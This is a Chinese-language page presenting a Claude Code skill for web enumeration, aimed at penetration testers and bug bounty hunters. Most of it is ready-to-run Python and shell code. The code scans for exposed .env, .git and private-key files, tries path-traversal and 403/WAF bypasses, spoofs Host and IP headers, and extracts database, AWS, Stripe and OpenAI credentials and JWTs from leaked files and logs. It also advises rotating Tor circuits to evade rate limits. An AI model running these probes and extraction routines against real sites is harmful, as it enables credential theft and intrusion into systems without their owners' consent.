关于 web-enumeration
web-enumeration 是用于检查 Web 目标中敏感文件、路径遍历、虚拟主机和暴露日志的安全测试技能。它帮助渗透测试人员和漏洞赏金研究者组合探测,并识别兜底响应与误报。
主要功能
- 01敏感文件扫描
- 02路径遍历绕过探测
- 03虚拟主机枚举
- 04环境凭据提取
- 05日志数据挖掘
- 06缓存与参数发现
适用场景
- 01检查网站是否暴露 .env 或 .git 文件
- 02测试替代路径和 Host 请求头
- 03从可访问日志中提取线索
- 04发现隐藏参数和历史页面
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill web-enumeration安装后在 Claude Code 中输入/web-enumeration确认已加载。
附带文件references/batch-probe-methodology.md
详细介绍
Web 枚举——敏感文件、路径遍历、虚拟主机、日志挖掘
何时使用
- 每个目标都必须执行——端口扫描后首先进行
- 在无人维护的基础设施上成功率很高
- 一项发现(.env、.git)往往就能获得全部凭据
敏感文件扫描(200 多个路径)
import requests
base = "https://target.com"
files = [
"/.env", "/.env.example", "/.env.production", "/.env.local",
"/.env.backup", "/.env.bak", "/.env.old", "/.[DEV_ENV]",
"/.env.staging", "/config/.env",
"/.git/config", "/.git/HEAD", "/.git/index",
"/.git/refs/heads/master", "/.git/logs/HEAD",
"/.git/packed-refs",
"/storage/oauth-private.key", "/storage/oauth-public.key",
"/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
"/storage/framework/views/*",
"/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
"/Procfile", "/.dockerignore",
"/composer.json", "/composer.lock", "/package.json",
"/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
"/requirements.txt", "/Pipfile", "/Pipfile.lock",
"/Cargo.toml", "/go.mod",
"/artisan", "/server.php", "/web.config",
"/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
"/wp-content/debug.log", "/readme.html",
"/assets/index-*.js.map", "/build/*.js.map",
"/static/js/*.js.map", "/js/*.js.map",
"/phpinfo.php", "/info.php", "/test.php", "/debug",
"/actuator", "/actuator/env", "/actuator/health",
"/actuator/beans", "/actuator/mappings",
"/actuator/heapdump", "/actuator/loggers",
"/swagger-ui.html", "/swagger-ui/index.html",
"/v2/api-docs", "/v3/api-docs",
"/graphql", "/graphiql", "/playground",
"/admin", "/login", "/dashboard", "/panel",
"/manager/html", "/host-manager/html",
"/robots.txt", "/sitemap.xml",
"/.htaccess", "/nginx.conf", "/.well-known/security.txt",
"/server-status", "/server-info",
"/phpmyadmin", "/_phpmyadmin", "/pma",
]
for f in files:
try:
r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
# Catch-all detection: SPA/commerce sites return HTML homepage for any path
body_sample = r.text[:300].lower()
is_catchall_html = any(marker in body_sample
for marker in ['<!doctype', '<html', '<!DOCTYPE'])
if r.status_code == 200 and len(r.text) > 20:
if is_catchall_html and len(r.text) > 500 and not any(
kw in body_sample for kw in
['db_', 'app_', '_key', '_secret', 'password',
'token', 'php version', 'create table']
):
print(f"CATCHALL {f} ({len(r.text)}b) — HTML homepage, not a leak")
else:
print(f"DONE {f} ({len(r.text)}b): {r.text[:150]}")
elif r.status_code == 301 or r.status_code == 302:
print(f"WARN {f} -> redirect {r.status_code}")
elif r.status_code == 401 or r.status_code == 403:
print(f"LOCK {f} -> {r.status_code} (exists, blocked)")
except:
pass
路径遍历与绕过(10 多种技术)
paths = [
"/../.env", "/%2e%2e/.env", "/..%2f.env",
"/public/../.env", "/storage/../.env", "/html/../.env",
"/app/../.env", "/www/../.env",
"/.%00.env", "/.env%00.html", "/.env%23",
]
for p in paths:
try:
r = requests.get(f"{base}{p}", timeout=10, allow_redirects=False)
if r.status_code == 200 and ("DB_PASSWORD" in r.text or "APP_KEY" in r.text):
print(f"BYPASS: {p}")
except:
pass
虚拟主机(vHost)枚举
hosts = ["target.com","www.target.com","admin.target.com","api.target.com","dev.target.com","localhost","127.0.0.1","internal","test"]
for host in hosts:
try:
r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
print(f"DONE .env exposed via Host: {host}")
except:
pass
自动提取 .env 凭据
import re
env_content = requests.get("http://target/.env", timeout=10).text
patterns = {
"DB_HOST": r"DB_HOST=(.+)",
"DB_DATABASE": r"DB_DATABASE=(.+)",
"DB_USERNAME": r"DB_USERNAME=(.+)",
"DB_PASSWORD": r"DB_PASSWORD=(.+)",
"APP_KEY": r"APP_KEY=(.+)",
"APP_URL": r"APP_URL=(.+)",
"REDIS_HOST": r"REDIS_HOST=(.+)",
"REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
"MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
"MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
"AWS_KEY": r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
"SENDGRID": r"SENDGRID_API_KEY=(.+)",
"SENTRY": r"SENTRY_DSN=(.+)",
"JWT_SECRET": r"JWT_SECRET=(.+)",
"OAUTH": r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
"FIREBASE": r"FIREBASE_.+=(.+)",
"OPENAI": r"OPENAI_API_KEY=(.+)",
"STRIPE": r"STRIPE_(?:KEY|SECRET)=(.+)",
}
for name, pattern in patterns.items():
matches = re.findall(pattern, env_content)
for m in matches:
print(f"KEY {name}: {m.strip()}")
日志数据提取
log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
print(f"EMAIL {e}")
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\\\|$)', log)
for s in set(sqls):
if len(s) > 10:
print(f"QUERY {s[:200]}")
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
print(f"JWT {j[:80]}...")
paths_found = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths_found):
print(f"PATH {p}")
Varnish 缓存检测
# Detect cache headers
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "(age|x-cache|via|server)"
# Via: 1.1 varnish = Varnish
# X-Cache: Hit from cloudfront = AWS CloudFront
# Cf-Cache-Status: HIT = Cloudflare
# Varnish Extreme TTL (32 days):
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "age:|max-age|x-cache"
真实案例
OVH Laravel 服务器:.env、.git/config、storage/oauth-private.key 均暴露(200 OK)。其中包含 MySQL、SendGrid、云存储和 Firebase 的凭据。
政府机构 Vite 开发模式:45 个 TypeScript 文件公开提供,其中包含明文的 VITE_JWT_SECRET 和 VITE_API_TOKEN。
参见 references/batch-probe-methodology.md,了解有界探测模板、
兜底响应检测、特定端点的 CORS 检查以及 XML-RPC 响应分类。
注意事项
| 问题 | 解决方案 |
|---|---|
| 速率限制 | 加入 2-6 秒随机延迟,轮换 Tor circuit |
| CDN 阻止路径 | 尝试端口 8443、vHost、直接 IP |
| 误报(SPA 兜底响应) | 检查 HTML 内容(doctype/html 标签)——兜底网站会对任何路径返回包含首页的 200 响应 |
| 兜底网站导致误报泄露标记 | 增加关键词级验证:.env 必须包含 DB_/APP_/_KEY/_SECRET;.git/config 必须包含 [core] |
| XMLRPC 测试中跟随重定向(-L) | 检查 XMLRPC 时切勿使用 -L——重定向可能会掩盖真实的 200 POST 响应 |
| Cloudflare/Salesforce 兜底响应 | 某些 CDN 和电商平台会对任何路径返回相同首页的 200 响应——通过检查 /nonexistent-test-path-xyz 进行验证 |
| WAF 阻止 | 使用路径遍历绕过方法 |
验证
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.env" | head -20
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.git/HEAD"
# git-dumper: https://github.com/arthaud/git-dumper
./git_dumper.py http://target.com/.git/ /tmp/repo/
阶段 6 — 参数发现
在已知端点上查找隐藏参数:
# paramspider — finds parameters from Wayback data
paramspider -d target.com -o params.txt
# arjun — discovers hidden parameters via HTTP response comparison
arjun -i backend_urls.txt -o arjun_params.json
arjun -u https://target.com/endpoint -m POST
# x8 — hidden parameter discovery
x8 -u "https://target.com/endpoint" -o x8_params.txt
# Prepare URLs for parameter fuzzing
cat all_urls.txt | grep "=" | qsreplace "FUZZ" | anew param_fuzz.txt
# Deduplicate by parameter name
cat all_urls.txt | grep "=" | sed "s/=[^&]*/=/g" | sort -u > params_clean.txt
阶段 7 — URL 类别提取
按敏感度对发现的 URL 进行分类,以便优先测试:
# JavaScript files (for secret hunting)
cat all_urls.txt | grep -iE '\.js(\?|$)' | grep -iv '\.json' | sort -u > js_urls.txt
# API endpoints
cat all_urls.txt | grep -Ei '\.(json|xml|graphql)(\?|$)' > api_urls.txt
# Backend scripts
cat all_urls.txt | grep -Ei '\.(php|asp|aspx|jsp|cfm|cgi)(\?|$)' > backend_urls.txt
# Auth/login flows
cat all_urls.txt | grep -Ei "login|signin|auth|oauth|reset|password" > auth_urls.txt
# Admin panels
cat all_urls.txt | grep -Ei "admin|dashboard|internal|manage|panel" > admin_urls.txt
# File upload/download
cat all_urls.txt | grep -Ei "upload|file|download|image|media" > upload_urls.txt
# IDOR candidates
cat all_urls.txt | grep -Ei "[0-9]{3,}" > idor_candidates.txt
# Open redirect candidates
cat all_urls.txt | grep -Ei "redirect|callback|goto|return|dest=|r=|u=|url=" > redirect_urls.txt
# Everything interesting in one shot
cat all_urls.txt | urinteresting
阶段 8 — WAF 与 403 绕过
# IP header spoofing
ffuf -u https://target.com/blocked-path \
-w 403_bypass_headers.txt \
-H "FUZZ" \
-mc 200,301,302
# Common bypass headers
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-Host: 127.0.0.1" \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
-H "X-Original-URL: /admin" \
-H "X-Rewrite-URL: /admin"
# HTTP method switching
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
echo -n "$method: "
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/admin" -o /dev/null -w "%{http_code}"
echo
done
# Path override techniques
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Rewrite-URL: /admin"
阶段 9 — 历史页面恢复与 robots.txt 历史记录
# Robots.txt history via roboxtractor
cat alive_subs.txt | roboxtractor -m 1 -wb
# Recover 404 pages via Wayback Machine
waybackurls https://target.com | grep "webstat\|/old/\|/v1/\|/deprecated" > old_pages.txt
# For each old page, re-crawl linked resources
gospider -s https://target.com -a -r \
| grep -oE 'https?://[^[:space:]"]+' \
| grep "/old-path/"
# Google Sheets leak hunting
# site:*.target.com intext:"docs.google.com/spreadsheets"
# site:docs.google.com/spreadsheets "target.com" "password"
# GitHub endpoints: find internal API paths in repos
github-endpoints -q -k -d target.com -t $GITHUB_TOKEN
评论
支持 Markdown